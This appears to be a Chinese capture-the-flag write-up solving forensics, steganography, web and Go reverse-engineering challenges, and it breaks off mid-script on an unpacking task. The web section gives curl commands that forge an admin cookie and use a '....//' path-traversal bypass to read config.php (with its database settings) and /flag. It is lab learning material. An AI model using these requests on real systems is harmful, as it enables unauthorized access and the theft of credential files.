Hello! hacker, please keep this secret key safe and make sure it is not stolen by others.key:flag{}[←]f871360f-c350-42da-a7852-ds5b8a252d1e351[退格×3]4[←]...

拿到包含退格、左右光标移动的按键字节流，模拟文本缓冲区的光标增删操作还原出最终flag

import&nbsp;struct
def&nbsp;parse_usb_keyboard_pcapng(file_path):&nbsp; &nbsp;&nbsp;with&nbsp;open(file_path,&nbsp;'rb')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; data = f.read()
&nbsp; &nbsp; offset =&nbsp;0&nbsp; &nbsp; usb_key_reports = []
&nbsp; &nbsp;&nbsp;while&nbsp;offset <&nbsp;len(data):&nbsp; &nbsp; &nbsp; &nbsp; block_type, block_len = struct.unpack_from('<II', data, offset)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;block_type ==&nbsp;6:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; captured_len = struct.unpack_from('<I', data, offset +&nbsp;8&nbsp;+&nbsp;16)[0]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; packet_data = data[offset +&nbsp;28: offset +&nbsp;28&nbsp;+ captured_len]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(packet_data) >=&nbsp;64:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; transfer_type =&nbsp;chr(packet_data[8])&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; transfer_mode = packet_data[9]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; endpoint = packet_data[10]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload_len = struct.unpack_from('<I', packet_data,&nbsp;36)[0]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload = packet_data[64:&nbsp;64&nbsp;+ payload_len]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;transfer_type ==&nbsp;'C'&nbsp;and&nbsp;transfer_mode ==&nbsp;1&nbsp;and&nbsp;endpoint ==&nbsp;0x81&nbsp;and&nbsp;payload_len ==&nbsp;8:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; usb_key_reports.append(payload)&nbsp; &nbsp; &nbsp; &nbsp; offset += block_len
&nbsp; &nbsp; prev_pressed =&nbsp;set()&nbsp; &nbsp; key_sequence = []&nbsp; &nbsp;&nbsp;for&nbsp;report&nbsp;in&nbsp;usb_key_reports:&nbsp; &nbsp; &nbsp; &nbsp; current_keys = [k&nbsp;for&nbsp;k&nbsp;in&nbsp;report[2:]&nbsp;if&nbsp;k !=&nbsp;0]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;key_code&nbsp;in&nbsp;current_keys:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;key_code&nbsp;not&nbsp;in&nbsp;prev_pressed:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; key_sequence.append(key_code)&nbsp; &nbsp; &nbsp; &nbsp; prev_pressed =&nbsp;set(current_keys)
&nbsp; &nbsp; hid_char_map = {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x04:'a',0x05:'b',0x06:'c',0x07:'d',0x08:'e',0x09:'f',0x0a:'g',0x0b:'h',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x0c:'i',0x0d:'j',0x0e:'k',0x0f:'l',0x10:'m',0x11:'n',0x12:'o',0x13:'p',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x14:'q',0x15:'r',0x16:'s',0x17:'t',0x18:'u',0x19:'v',0x1a:'w',0x1b:'x',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x1c:'y',0x1d:'z',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x2c:' ',0x2f:'{',0x30:'}',0x33:':',0x36:',',0x37:'.',0x2a:'\b',0x50:'<L>',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x56:'-',0x59:'1',0x5a:'2',0x5b:'3',0x5c:'4',0x5d:'5',0x5e:'6',&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x5f:'7',0x60:'8',0x61:'9',0x62:'0',0x63:'.',&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; start = key_sequence.index(0x30)&nbsp; &nbsp;&nbsp;except&nbsp;ValueError:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;""
&nbsp; &nbsp; buf, cur =&nbsp;list('flag{}'),&nbsp;6&nbsp; &nbsp;&nbsp;for&nbsp;k&nbsp;in&nbsp;key_sequence[start +&nbsp;1:]:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;k ==&nbsp;0x2a:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cur >&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;del&nbsp;buf[cur-1]&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cur -=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;k ==&nbsp;0x50:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cur >&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cur -=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;k ==&nbsp;0x4f:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;cur <&nbsp;len(buf):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cur +=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;k&nbsp;in&nbsp;hid_char_map:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf.insert(cur, hid_char_map[k])&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cur +=&nbsp;1&nbsp; &nbsp;&nbsp;return&nbsp;''.join(buf)
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; res = parse_usb_keyboard_pcapng("flag.pcapng")&nbsp; &nbsp;&nbsp;print(res)

flag{f871360f-c353-42da-a782-d5b8a252d1e4}

06

薛定谔的猫

打开是空白pdf,尝试获得这个pdf

curl.exe&nbsp;-k -L -o&nbsp;"cat.pdf"&nbsp;"https://file.xiaoyuyc.com/cyctf/challenges/misc/1/cat.pdf"

不是pdf是个png

看看里面有没有藏东西

import struct
data =&nbsp;open('cat.pdf',&nbsp;'rb').read()pos&nbsp;=&nbsp;8while&nbsp;pos&nbsp;+&nbsp;8&nbsp;<= len(data):&nbsp; &nbsp; ln, typ = struct.unpack_from('>I4s', data,&nbsp;pos)&nbsp; &nbsp;&nbsp;print(typ.decode('latin1'), ln,&nbsp;pos)&nbsp; &nbsp;&nbsp;if&nbsp;typ == b'IEND':&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print('IEND ends at',&nbsp;pos&nbsp;+&nbsp;12)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp;&nbsp;pos&nbsp;+=&nbsp;12&nbsp;+ ln

发现IEND 的结束位置在 904295，正常的 PNG 到 IEND 就结束了，后面应该是空的，大概率隐写了

搜索得知是个zip本地文件头签名PK\x03\x04

有脚本提取

data&nbsp;=&nbsp;open("cat.pdf","rb").read()zip_start =&nbsp;data.find(b'PK\x03\x04',904295)print(zip_start)
zip_data =&nbsp;data[zip_start:]open("out.zip","wb").write(zip_data)

有加密一般不会跑字典大概率是伪加密

用脚本修改文件头，里面有个txt

import&nbsp;structimport&nbsp;zlib
data&nbsp;=&nbsp;open('cat.pdf',&nbsp;'rb').read()zip_start =&nbsp;data.find(b'PK\x03\x04')z =&nbsp;data[zip_start:]
def extract(lfh_off, csz,&nbsp;out):&nbsp; &nbsp; fnl, exl = struct.unpack_from('<HH', z, lfh_off +&nbsp;26)&nbsp; &nbsp; dstart = lfh_off +&nbsp;30&nbsp;+ fnl + exl&nbsp; &nbsp; blob = z[dstart:dstart + csz]&nbsp; &nbsp; d = zlib.decompressobj(-15)&nbsp; &nbsp; raw = d.decompress(blob) + d.flush()&nbsp; &nbsp;&nbsp;open(out,&nbsp;'wb').write(raw)&nbsp; &nbsp;&nbsp;return&nbsp;raw
png = extract(37, &nbsp; &nbsp; &nbsp;&nbsp;1199402,&nbsp;'Cat.png')txt = extract(1199483, &nbsp;118, &nbsp; &nbsp;&nbsp;'cat.txt')print(txt.decode())

半个base64

flag{efb7204a‑a4be‑4b5f‑9449‑5

剩下的大概率还藏着里面，返回继续看思路发现

EOCD既然还有56字节，大概率在里面了

import&nbsp;structimport&nbsp;zlibimport&nbsp;base64
data =&nbsp;open('cat.pdf',&nbsp;'rb').read()zip_start = data.find(b'PK\x03\x04')z = data[zip_start:]
def&nbsp;extract(lfh_off, csz, out):&nbsp; &nbsp; fnl, exl = struct.unpack_from('<HH', z, lfh_off +&nbsp;26)&nbsp; &nbsp; dstart = lfh_off +&nbsp;30&nbsp;+ fnl + exl&nbsp; &nbsp; blob = z[dstart:dstart + csz]&nbsp; &nbsp; d = zlib.decompressobj(-15)&nbsp; &nbsp; raw = d.decompress(blob) + d.flush()&nbsp; &nbsp;&nbsp;open(out,&nbsp;'wb').write(raw)&nbsp; &nbsp;&nbsp;return&nbsp;raw
png = extract(37,&nbsp;1199402,&nbsp;'Cat.png')txt = extract(1199483,&nbsp;118,&nbsp;'cat.txt')
print('cat.txt:', txt.decode())
eocd = z.find(b'PK\x05\x06')tail = z[eocd +&nbsp;22:] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# EOCD 固定 22 字节，之后就是多余的print('tail bytes:', tail)
# 把后半段 base64 拼回去part1 = txt.decode().strip()part2 = tail.decode('utf-8',&nbsp;'ignore').strip()full_b64 = part1 + part2
pad = (4&nbsp;-&nbsp;len(full_b64) %&nbsp;4) %&nbsp;4flag = base64.b64decode(full_b64 +&nbsp;'='&nbsp;* pad).decode('utf-8',&nbsp;'ignore')print('full flag:', flag)

解码后得到完整flag

&nbsp;flag{efb7204a-a4be-4b5f-9449-5ccd80ae3179}

07

web1-Hackers Blog

后缀居然是php?=1

尝试访问/admin/

后台页面只用一个前端 JS 写入的 Cookie admin_auth=true 作为身份凭证，服务端并没有可靠的会话校验，还暴漏了后端php

直接尝试伪造进后台

直接get访问行不通

http://challenge.xiaoyuyc.com:34323/admin/home.php?admin_auth=true

用curl可以访问源码

curl -H&nbsp;"Cookie: admin_auth=true"&nbsp;http://challenge.xiaoyuyc.com:34323/admin/home.php

发现

download.php?file=templates/demo_template.txt

有个下载txt而且file 参数可控，试试能不能读取任意文件

curl&nbsp;"http://challenge.xiaoyuyc.com:34323/admin/download.php?file=home.php"&nbsp;-H&nbsp;"Cookie: admin_auth=true"

能返回源码

尝试访问/config.php但是被过滤了

说明存在对 .. 的过滤，但过滤逻辑不严（可能是字符串替换 / 黑名单）。用 ….// 可以绕过（….// 归一化后等价于 ../）：

curl&nbsp;"http://challenge.xiaoyuyc.com:42797/admin/download.php?file=....//config.php"&nbsp;-H&nbsp;"Cookie: admin_auth=true"

环境过期了，换了个

成功读取到 config.php，拿到数据库配置；也确认 Web 根目录为 /var/www/html

直接读flag

curl&nbsp;"http://challenge.xiaoyuyc.com:42797/admin/download.php?file=....//....//....//....//flag"&nbsp;-H&nbsp;"Cookie: admin_auth=true"

flag{5a7aba14-b314-440f-9385-12a4c17b1db5}

08

maze

运行得到

尝试逆向回复一下符号

PE64，带 .symtab 但函数名在 Go 的 pclntab 里（go build -ldflags="-s -w" 只会去掉

DWARF/COFF 符号，不会去掉 Go 运行时符号表）

版本号

go1.24.5pclntab&nbsp;header: f1 ff ff ff&nbsp;00&nbsp;00&nbsp;01&nbsp;08&nbsp; &nbsp;(magic&nbsp;0xFFFFFFF1)

解析 pclntab（Go 1.20+ 格式，偏移均相对 pclntab 起点）：

import&nbsp;struct
def&nbsp;main():&nbsp; &nbsp;&nbsp;with&nbsp;open("maze.exe",&nbsp;"rb")&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; data = f.read()
&nbsp; &nbsp; PCLN =&nbsp;0x10c7e0&nbsp;&nbsp;# pclntab 文件偏移
&nbsp; &nbsp;&nbsp;# 小端解包工具函数&nbsp; &nbsp; u32 =&nbsp;lambda&nbsp;offset: struct.unpack_from("<I", data, offset)[0]&nbsp; &nbsp; i32 =&nbsp;lambda&nbsp;offset: struct.unpack_from("<i", data, offset)[0]&nbsp; &nbsp; u64 =&nbsp;lambda&nbsp;offset: struct.unpack_from("<Q", data, offset)[0]
&nbsp; &nbsp; ptr = PCLN +&nbsp;8&nbsp; &nbsp; nfunc &nbsp; &nbsp;= u64(ptr); ptr +=&nbsp;8&nbsp; &nbsp; nfiles &nbsp; = u64(ptr); ptr +=&nbsp;8&nbsp; &nbsp; textStart= u64(ptr); ptr +=&nbsp;8&nbsp; &nbsp; fnOff &nbsp; &nbsp;= u64(ptr); ptr +=&nbsp;8&nbsp; &nbsp; cuOff &nbsp; &nbsp;= u64(ptr); ptr +=&nbsp;8&nbsp; &nbsp; ftOff &nbsp; &nbsp;= u64(ptr); ptr +=&nbsp;8&nbsp; &nbsp; pcOff &nbsp; &nbsp;= u64(ptr); ptr +=&nbsp;8&nbsp; &nbsp; pclnOff &nbsp;= u64(ptr)
&nbsp; &nbsp; fnbase = PCLN + fnOff
&nbsp; &nbsp;&nbsp;def&nbsp;cstr(off):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""从fnbase+off读取C风格0截断字符串"""&nbsp; &nbsp; &nbsp; &nbsp; str_start = fnbase + off&nbsp; &nbsp; &nbsp; &nbsp; null_pos = data.find(b"\x00", str_start)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;null_pos == -1:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;""&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;data[str_start:null_pos].decode("utf‑8", errors="ignore")
&nbsp; &nbsp; functab = PCLN + pclnOff
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(nfunc):&nbsp; &nbsp; &nbsp; &nbsp; entryoff = u32(functab + i *&nbsp;8)&nbsp; &nbsp; &nbsp; &nbsp; funcoff &nbsp;= u32(functab + i *&nbsp;8&nbsp;+&nbsp;4)&nbsp; &nbsp; &nbsp; &nbsp; name_offset = i32(functab + funcoff +&nbsp;4)&nbsp; &nbsp; &nbsp; &nbsp; func_name = cstr(name_offset)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;func_name.startswith("main."):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{hex(textStart + entryoff)}&nbsp;&nbsp;{func_name}")
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

得到本题全部关键函数

0x4a2340&nbsp;main.init0x4a2360&nbsp;main.map.init.00x4a2460&nbsp;main.initMaze0x4a25e0&nbsp;main.generateMainPath0x4a26c0&nbsp;main.validatePath0x4a27e0&nbsp;main.calculateMD50x4a28e0&nbsp;main.main

用 capstone 按 VA→文件偏移反汇编即可（PE 节表映射：.text RVA 0x1000 / raw 0x600，

ImageBase 0x400000）

initMaze / generateMainPath 里都出现

lea rbx,&nbsp;[rip + 0x1513c0]&nbsp; &nbsp;; -> VA&nbsp;0x5f3960lea r9, &nbsp;[rip + 0x1512d7]&nbsp; &nbsp;; -> VA&nbsp;0x5f3960

即迷宫是一个静态全局数组，VA 0x5f3960（RVA 0x1f3960），

50 * 50 * 8 = 20000 字节（[50][50]int64）

initMaze

双层循环把 50×50 全部置 1（墙）

call generateMainPath，seed =0x123456789abcdef0

内联的 addExtraPaths：300 次循环，用同一个 seed 重新起算的 LCG

state = state*M + C

r = (state >> 32) % 48 + 1

c = (state >> 16) % 48 + 1

grid[r][c] = 0 ; 随机在内部开洞

最后显式 grid[0][0] = 0（起点可走）

generateMainPath

M =&nbsp;0x5851f42d4c957f2dC =&nbsp;0x14057b7ef767814fstate&nbsp;= seed每步:&nbsp; &nbsp;&nbsp;state&nbsp;=&nbsp;state&nbsp;* M + C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(mod&nbsp;2^64)&nbsp; &nbsp; dir &nbsp; = (state&nbsp;>>&nbsp;62) &&nbsp;3&nbsp; &nbsp; dir 为偶数 -> 列 +1&nbsp; ('R')&nbsp; &nbsp; dir 为奇数 -> 行 +1&nbsp; ('D')&nbsp; &nbsp; 新格子 grid[row][col] =&nbsp;0&nbsp; &nbsp; 若 +1&nbsp;后越界(>=50) 则跳过(不移动，但仍消耗随机数)直到 (row, col) == (49,&nbsp;49) 结束

因为只会单向 +行/+列，所以主路径天然就是一条长度 98 的最短路。

用 Python 复现

M&nbsp;=&nbsp;0x5851f42d4c957f2dC&nbsp;=&nbsp;0x14057b7ef767814fMASK&nbsp;= (1&nbsp;<<&nbsp;64) -&nbsp;1SEED&nbsp;=&nbsp;0x123456789abcdef0
state, r, c, path = SEED,&nbsp;0,&nbsp;0,&nbsp;[]while&nbsp;not (r ==&nbsp;49&nbsp;and c ==&nbsp;49):&nbsp; &nbsp;&nbsp;state&nbsp;= (state * M + C) & MASK&nbsp; &nbsp;&nbsp;d&nbsp;= (state >>&nbsp;62) &&nbsp;3&nbsp; &nbsp;&nbsp;if&nbsp;d %&nbsp;2&nbsp;==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;c <&nbsp;49: c +=&nbsp;1; path.append('R')&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;r <&nbsp;49: r +=&nbsp;1; path.append('D')path&nbsp;= ''.join(path)print(len(path), path)

98步

RRDRRDDRRRDRRRDDDRDRRRRDDRDDDRRDDDRRRRRRDRRRDDDRRDDRDRRDRRDRDRDDDDDDRDRRDRDDDDRRDRDDRRDDRDRDDRDRDD

// rax = 输入字符串指针, rbx = 长度int&nbsp;x =&nbsp;0, y =&nbsp;0;for&nbsp;(i =&nbsp;0; i <&nbsp;len; ) {&nbsp; &nbsp; ch = input[i]; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// UTF-8 解码&nbsp; &nbsp;&nbsp;if&nbsp;(map[ch] ==&nbsp;nil)&nbsp;return&nbsp;0;&nbsp; &nbsp; nx = x +&nbsp;map[ch].dx;&nbsp; &nbsp; ny = y +&nbsp;map[ch].dy;&nbsp; &nbsp;&nbsp;if&nbsp;(nx >=&nbsp;50&nbsp;|| ny >=&nbsp;50)&nbsp;return&nbsp;0;&nbsp;// 越界&nbsp; &nbsp;&nbsp;if&nbsp;(grid[nx][ny] ==&nbsp;1)&nbsp;return&nbsp;0; &nbsp; &nbsp;// 撞墙&nbsp; &nbsp; x = nx; y = ny;}return&nbsp;(x ==&nbsp;49&nbsp;&& y ==&nbsp;49);

main.main 与 Flag 计算

读入一行 -> strings.TrimSpaceif&nbsp;!validatePath(path) { fmt.Println("路径错误"); os.Exit(1); }s = fmt.Sprintf("%s:%d", path, len(path))h = calculateMD5(s) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//&nbsp;32&nbsp;位小写&nbsp;hexflag =&nbsp;"flag{"&nbsp;+ h +&nbsp;"}"fmt.Printf("Flag:&nbsp;%s\n", flag)

脚本

import&nbsp;hashlibfrom&nbsp;collections import deque
M&nbsp;=&nbsp;0x5851f42d4c957f2dC&nbsp;=&nbsp;0x14057b7ef767814fMASK&nbsp;= (1&nbsp;<<&nbsp;64) -&nbsp;1SEED&nbsp;=&nbsp;0x123456789abcdef0
def&nbsp;lcg(s):&nbsp; &nbsp;&nbsp;return&nbsp;(s * M + C) & MASK
# 1.重建50*50迷宫def&nbsp;build_maze():&nbsp; &nbsp;&nbsp;grid&nbsp;=&nbsp;[[1] * 50 for _ in range(50)]&nbsp; &nbsp;&nbsp;state&nbsp;= SEED&nbsp; &nbsp;&nbsp;a, b =&nbsp;0,&nbsp;0&nbsp; &nbsp;&nbsp;# 生成主路径&nbsp; &nbsp;&nbsp;while&nbsp;not (a ==&nbsp;49&nbsp;and b ==&nbsp;49):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;state&nbsp;= lcg(state)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;d&nbsp;= (state >>&nbsp;62) &&nbsp;3&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;d %&nbsp;2&nbsp;==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 偶数，向右，列+1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;b <&nbsp;49:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;b&nbsp;+=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 奇数，向下，行+1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;a <&nbsp;49:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;a&nbsp;+=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;grid[a][b] =&nbsp;0
&nbsp; &nbsp;&nbsp;# 额外300次随机开洞&nbsp; &nbsp;&nbsp;state&nbsp;= SEED&nbsp; &nbsp;&nbsp;for&nbsp;_ in range(300):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;state&nbsp;= lcg(state)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;r&nbsp;= ((state >>&nbsp;32) %&nbsp;48) +&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;c&nbsp;= ((state >>&nbsp;16) %&nbsp;48) +&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;grid[r][c] =&nbsp;0
&nbsp; &nbsp;&nbsp;grid[0][0] =&nbsp;0&nbsp; &nbsp;&nbsp;return&nbsp;grid
grid&nbsp;= build_maze()
# 2.路径校验函数def&nbsp;valid_path(path):&nbsp; &nbsp;&nbsp;x, y =&nbsp;0,&nbsp;0&nbsp; &nbsp;&nbsp;for&nbsp;ch in path:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;ch == 'R':&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;y&nbsp;+=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;ch == 'D':&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;x&nbsp;+=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;ch == 'U':&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;x&nbsp;-=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;ch == 'L':&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;y&nbsp;-=&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 越界检查&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not (0&nbsp;<= x <&nbsp;50&nbsp;and&nbsp;0&nbsp;<= y <&nbsp;50):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 撞墙&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;grid[x][y] ==&nbsp;1:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp;&nbsp;# 是否到达终点(49,49)&nbsp; &nbsp;&nbsp;return&nbsp;x ==&nbsp;49&nbsp;and y ==&nbsp;49
# 3.BFS求最短路，方向顺序 U,R,D,L，顺序不改动def&nbsp;bfs_solve():&nbsp; &nbsp;&nbsp;# 方向元组：字符，dx，dy&nbsp; &nbsp;&nbsp;dirs&nbsp;=&nbsp;[('U', -1, 0), ('R', 0, 1), ('D', 1, 0), ('L', 0, -1)]&nbsp; &nbsp;&nbsp;dist&nbsp;=&nbsp;[[-1] * 50 for _ in range(50)]&nbsp; &nbsp;&nbsp;prev&nbsp;= dict()&nbsp; &nbsp;&nbsp;dist[0][0] =&nbsp;0&nbsp; &nbsp;&nbsp;q&nbsp;= deque()&nbsp; &nbsp;&nbsp;q.append((0,&nbsp;0))
&nbsp; &nbsp;&nbsp;while&nbsp;q:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;x, y = q.popleft()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;ch, dx, dy in dirs:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;nx&nbsp;= x + dx&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ny&nbsp;= y + dy&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;0&nbsp;<= nx <&nbsp;50&nbsp;and&nbsp;0&nbsp;<= ny <&nbsp;50&nbsp;and dist[nx][ny] <&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(nx ==&nbsp;0&nbsp;and ny ==&nbsp;0) or grid[nx][ny] ==&nbsp;0:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;dist[nx][ny] = dist[x][y] +&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;prev[(nx, ny)] = (x, y, ch)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;q.append((nx, ny))
&nbsp; &nbsp;&nbsp;# 回溯路径&nbsp; &nbsp;&nbsp;cur&nbsp;= (49,&nbsp;49)&nbsp; &nbsp;&nbsp;path_buf&nbsp;=&nbsp;[]&nbsp; &nbsp;&nbsp;while&nbsp;cur != (0,&nbsp;0):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;px, py, move_ch = prev[cur]&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;path_buf.append(move_ch)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cur&nbsp;= (px, py)&nbsp; &nbsp;&nbsp;path_buf.reverse()&nbsp; &nbsp;&nbsp;return&nbsp;"".join(path_buf)
if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp;&nbsp;res_path&nbsp;= bfs_solve()&nbsp; &nbsp;&nbsp;print("path :", res_path, len(res_path))&nbsp; &nbsp;&nbsp;print("valid:", valid_path(res_path))
&nbsp; &nbsp;&nbsp;payload_str&nbsp;= f"{res_path}:{len(res_path)}"&nbsp; &nbsp;&nbsp;md5_hash&nbsp;= hashlib.md5(payload_str.encode()).hexdigest()&nbsp; &nbsp;&nbsp;flag&nbsp;= f"flag{{{md5_hash}}}"&nbsp; &nbsp;&nbsp;print("FLAG :", flag)

flag{a3fa97e1e52759ea6b4122c7008cb9e5}

09

tea

脱壳

import&nbsp;ctypesimport&nbsp;ctypes.wintypes&nbsp;as&nbsp;wimport&nbsp;subprocessimport&nbsp;timeimport&nbsp;pickle
EXE_PATH =&nbsp;r"tea.exe"
def&nbsp;main():&nbsp; &nbsp;&nbsp;# 启动目标进程&nbsp; &nbsp; proc = subprocess.Popen(&nbsp; &nbsp; &nbsp; &nbsp; [EXE_PATH],&nbsp; &nbsp; &nbsp; &nbsp; stdin=subprocess.PIPE,&nbsp; &nbsp; &nbsp; &nbsp; stdout=subprocess.PIPE,&nbsp; &nbsp; &nbsp; &nbsp; stderr=subprocess.STDOUT&nbsp; &nbsp; )&nbsp; &nbsp; time.sleep(2.0) &nbsp;# 等待壳解压完成，阻塞在fgets&nbsp; &nbsp; pid = proc.pid
&nbsp; &nbsp; kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)&nbsp; &nbsp; kernel32.OpenProcess.restype = w.HANDLE&nbsp; &nbsp;&nbsp;# VM_READ(0x10) | QUERY_INFORMATION(0x400)&nbsp; &nbsp; h_process = kernel32.OpenProcess(0x10&nbsp;|&nbsp;0x400,&nbsp;False, pid)
